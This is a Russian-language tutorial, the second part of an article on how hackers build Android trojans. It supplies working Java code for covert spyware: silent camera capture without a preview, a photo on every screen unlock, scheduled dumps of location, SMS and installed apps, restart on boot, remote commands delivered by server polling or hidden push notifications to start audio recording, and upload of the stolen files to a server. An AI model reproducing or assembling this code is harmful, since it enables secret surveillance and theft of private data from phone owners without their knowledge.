Как хакеры создают трояны для Андроид? (часть 2)

Как хакеры создают трояны для Андроид? (часть 2)

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение 

Скрытая съемка

С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.

Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):

public class SilentCamera2 {
    private Context context;
    private CameraDevice device;
    private ImageReader imageReader;
    private CameraCaptureSession session;
    private SurfaceTexture surfaceTexture;
    private CameraCharacteristics characteristics;
    private Surface previewSurface;
    private CaptureRequest.Builder request;
    private Handler handler;
 
    private String photosDir;
 
    public SilentCamera2(Context context) {
        this.context = context;
    }
 
    private final CameraDevice.StateCallback mStateCallback =
            new CameraDevice.StateCallback() {
        @Override
        public void onOpened(CameraDevice cameraDevice) {
            device = cameraDevice;
 
            try {
                surfaceTexture = new SurfaceTexture(10);
                previewSurface = new Surface(surfaceTexture);
 
                List<Surface> surfaceList = new ArrayList<>();
                surfaceList.add(previewSurface);
                surfaceList.add(imageReader.getSurface());
 
                cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);
            } catch (Exception e) {
            }
        }
 
        @Override
        public void onDisconnected(CameraDevice cameraDevice) {
 
        }
 
        @Override
        public void onError(CameraDevice cameraDevice, int error) {
 
        }
    };
 
    private CameraCaptureSession.StateCallback mCaptureStateCallback =
            new CameraCaptureSession.StateCallback() {
                @Override
                public void onConfigured(CameraCaptureSession captureSession) {
                    session = captureSession;
 
                    try {
                        request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
                        request.addTarget(previewSurface);
 
                        request.set(CaptureRequest.CONTROL_AF_TRIGGER,
                            CameraMetadata.CONTROL_AF_TRIGGER_START);
 
                        captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);
                    } catch (Exception e) {
                    }
                }
 
                @Override
                public void onConfigureFailed(CameraCaptureSession mCaptureSession) {}
            };
 
    private CameraCaptureSession.CaptureCallback mCaptureCallback =
            new CameraCaptureSession.CaptureCallback() {
        @Override
        public void onCaptureCompleted(CameraCaptureSession session,
                                     CaptureRequest request,
                                     TotalCaptureResult result) {
        }
    };
 
    private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =
            new ImageReader.OnImageAvailableListener() {
        @Override
        public void onImageAvailable(ImageReader reader) {
            DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss");
            Date date = new Date();
 
            String filename = photosDir + "/" + dateFormat.format(date) + ".jpg";
            File file = new File(filename);
 
            Image image = imageReader.acquireLatestImage();
 
            try {
                ByteBuffer buffer = image.getPlanes()[0].getBuffer();
                byte[] bytes = new byte[buffer.remaining()];
                buffer.get(bytes);
 
                OutputStream os = new FileOutputStream(file);
                os.write(bytes);
 
                image.close();
                os.close();
            } catch (Exception e) {
                e.getStackTrace();
            }
 
            closeCamera();
        }
    };
 
    private void takePicture() {
        request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());
 
        request.addTarget(imageReader.getSurface());
        try {
            session.capture(request.build(), mCaptureCallback, handler);
        } catch (CameraAccessException e) {
        }
    }
 
    private void closeCamera() {
        try {
            if (null != session) {
                session.abortCaptures();
                session.close();
                session = null;
            }
            if (null != device) {
                device.close();
                device = null;
            }
            if (null != imageReader) {
                imageReader.close();
                imageReader = null;
            }
            if (null != surfaceTexture) {
                surfaceTexture.release();
            }
        } catch (Exception e) {
        }
    }
 
    public boolean takeSilentPhoto(String cam, String dir) {
        photosDir = dir;
        int facing;
 
        switch (cam) {
            case "front":
                facing = CameraCharacteristics.LENS_FACING_FRONT;
                break;
            case "back":
                facing = CameraCharacteristics.LENS_FACING_BACK;
                break;
            default:
                return false;
        }
 
        CameraManager manager = (CameraManager)
                context.getSystemService(Context.CAMERA_SERVICE);
 
        String cameraId = null;
        characteristics = null;
 
        try {
            for (String id : manager.getCameraIdList()) {
                characteristics = manager.getCameraCharacteristics(id);
                Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);
                if (currentFacing != null && currentFacing == facing) {
                    cameraId = id;
                    break;
                }
            }
        } catch (Exception e) {
            return false;
        }
 
        HandlerThread handlerThread = new HandlerThread("CameraBackground");
        handlerThread.start();
        handler = new Handler(handlerThread.getLooper());
 
        imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);
        imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler);
 
        try {
            manager.openCamera(cameraId, mStateCallback, handler);
            // Ждем фокусировку
            Thread.sleep(1000);
            takePicture();
        } catch (Exception e) {
            Log.d(TAG, "Can't open camera: " + e.toString());
            return false;
        }
 
        return true;
    }
 
    private int getOrientation() {
        WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
        int rotation = wm.getDefaultDisplay().getRotation();
        int deviceOrientation = 0;
 
        switch(rotation){
            case Surface.ROTATION_0:
                deviceOrientation = 0;
                break;
            case Surface.ROTATION_90:
                deviceOrientation = 90;
                break;
            case Surface.ROTATION_180:
                deviceOrientation = 180;
                break;
            case Surface.ROTATION_270:
                deviceOrientation = 270;
                break;
        }
 
        int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);
        deviceOrientation = (deviceOrientation + 45) / 90 * 90;
        boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;
        if (facingFront) deviceOrientation = -deviceOrientation;
        return (sensorOrientation + deviceOrientation + 360) % 360;
    }
}

Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.

String cameraDir = context.getApplicationInfo().dataDir + "/camera/"
camera.takeSilentPhoto("front", cameraDir);

Складываем все вместе

С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.

Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.

Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.

Задания по расписанию

Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:

public class Alarm extends BroadcastReceiver {
    public static void set(Context context) {
        AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
        Intent intent = new Intent(context, Alarm.class);
        PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);
        am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);
    }
 
    @Override
    public void onReceive(Context context, Intent intent) {
        // Твой код здесь
    }
}

Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.

В метод «onCreate()» сервиса добавьте следующую строку:

Alarm.set(this)

Снимок при включении экрана

Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:

class ScreenOnReceiver extends BroadcastReceiver() {
    @Override
    void onReceive(Context context, Intent intent) {
        // Ваш код здесь
    }
}

И добавьте в манифест следующие строки:

<receiver android:name="com.example.app.ScreenOnReceiver">
    <intent-filter>
        <action android:name="android.intent.action.ACTION_SCREEN_ON" />
    </intent-filter>
</receiver>

Запуск при загрузке

В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:

class BootReceiver extends BroadcastReceiver() {
    @Override
    void onReceive(Context context, Intent intent) {
        Intent serviceIntent = new Intent(this, MainService.class);
        startService(serviceIntent);
    }
}

И опять же добавим его в манифест:

<receiver android:name="com.example.BootReceiver">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />
    </intent-filter>
</receiver>

Запись аудио по команде

С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.

В коде это может выглядеть примерно так:

String url = "http://example.com/cmd"
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
 
while (true) {
    Response response = client.newCall(request).execute();
    String cmd = response.body().string();
    cmd = cmd.trim()
    if (cmd.equals("record")) {
        // Делаем аудиозапись
    }
    try {
        Thread.sleep(60 * 1000);
    } catch (InterruptedException e) {}
}

Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.

Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.

Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:

class App extends Application {
    @Override
    public void onCreate() {
        super.onCreate()
        OneSignal.startInit(this).init()
    }
}

Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:

class OSService extends NotificationExtenderService {
    @Override
    protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) {
        String cmd = receivedResult.payload.body.trim()
        if (cmd.equals("record")) {
            // Делаем аудиозапись
        }
 
        // Не показывать уведомление
        return true
    }
}

Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.

Последний штрих — добавим сервис в манифест:

<service
    android:name="org.antrack.app.service.OSService"
    android:exported="false">
    <intent-filter>
        <action android:name="com.onesignal.NotificationExtender" />
    </intent-filter>
</service>

Отправка данных на сервер

На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:

private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse("image/jpeg");
 
public void uploadImage(File image, String imageName) throws IOException {
    OkHttpClient client = new OkHttpClient();
 
    RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM)
        .addFormDataPart("file", imageName, RequestBody.create(MEDIA_TYPE_JPEG, image))
        .build();
 
    Request request = new Request.Builder().url("http://com.example.com/upload")
        .post(requestBody).build();
 
    Response response = client.newCall(request).execute();
}

Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.

Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.

Выводы

Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.

Имейте ввиду! Андроид 8 хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление. С другой стороны, много ли вы видели смартфонов на Android 8 в дикой природе?

На этом все. Теперь вы знаете как хакеры создают трояны для Андроид, а о том как от них защититься мы уже неоднократно писали​.

Источник


Report Page